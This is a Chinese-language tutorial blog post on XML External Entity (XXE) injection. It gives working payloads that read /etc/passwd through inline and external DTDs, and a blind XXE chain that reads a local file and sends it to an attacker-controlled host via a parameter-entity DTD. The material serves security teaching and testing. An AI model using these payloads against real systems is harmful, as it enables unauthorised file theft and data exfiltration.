XXE(外部实体注入攻击)
2024-09-07 15:32:25
利用XXE漏洞可以进行 拒绝服务攻击、文件读取、命令代码执行、SQL(XSS)注入、内外扫描端口和入侵内网站点等,内网探测和入侵是利用XXE中支持的协议进行内网主机和端口的发现
一般XXE的利用分为两个场景:有回显 和 无回显。
有回显的情况下可以直接在页面看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据
有回显的情况下:
①内部实体:
1、直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<hhh>&f;<hhh>
①外部实体引入:
1、通过DTD文档引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
<hhh>&f;<hhh>
外部evil.dtd中的内容:
<!ENTITY f SYSTEM "file:///etc/passwd">
2、通过DTD外部实体声明引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
]>
<hhh>&f;<hhh>
Quan.dtd的内容
<!ENTITY f SYSTEM "file:///etc/passwd">
无回显:Blind XXE
参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
<?xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻击者主机IP/Quan.xml">
%remote;
%all;
]>
<root>&send;</root>
Quan.xml内容
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">
%remote引入外部XML文件到这个 XML 中,%all检测到send实体,在 root 节点中引入 send 实体,便可实现数据转发。
利用过程:第3行,存在漏洞的服务器会读出file的内容(c:/1.txt),通过Quan.xml带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。
最新文章
- 多线程之任务: Task 基础, 多任务并行执行, 并行运算(Parallel)
- 浅谈对Spring Framework的认识
- python-study1 in hubei
- 国内大学毕业论文 LaTeX 模板集合
- linux配置java环境变量(详细)【转】
- Linux Mint下安装JDK
- c#常用的一些命名空间
- http://www.cnbc.com/2016/07/12/tensions-in-south-china-sea-to-persist-even-after-court-ruling.html
- python推荐淘宝物美价廉商品 2.0
- PHP图片裁剪函数(图像不变形)
- [置顶] c#验证码识别、图片二值化、分割、分类、识别
- 闭包用法,延迟tab
- Oracle-3 - :超级适合初学者的入门级笔记--用户权限,set运算符,高级子查询
- 51 NOD 1238 最小公倍数之和 V3
- restful framework 认证源码流程
- 【洛谷3047】[USACO12FEB]附近的牛Nearby Cows
- Photoshop打造唯美的蓝色古装外景人物图片
- 修改hosts文件用来观看coursera视频
- LeetCode 题解之Linked List Cycle II
- SqlServer和Mysql插入记录前判断是否存在,存在则插入,不存在则修改。
热门文章
- Nginx配置REWRITE隐藏index.php
- .net Core MongoDB用法演示
- ubuntu docker 搭建 mongodb,开启授权访问 redis,mysql mssql 备份还原
- 『Blocks 区间dp』
- -Shell 教程 Bash 脚本 基础语法 MD
- Java开发月薪2W的知乎讨论记录截取
- 封装:简要介绍自定义开发基于WPF的MVC框架
- Node.js 中 exports 和 module.exports 的区别
- 安全SECUERITY单词SECUERITY证券
- android中listview滑动卡顿的原因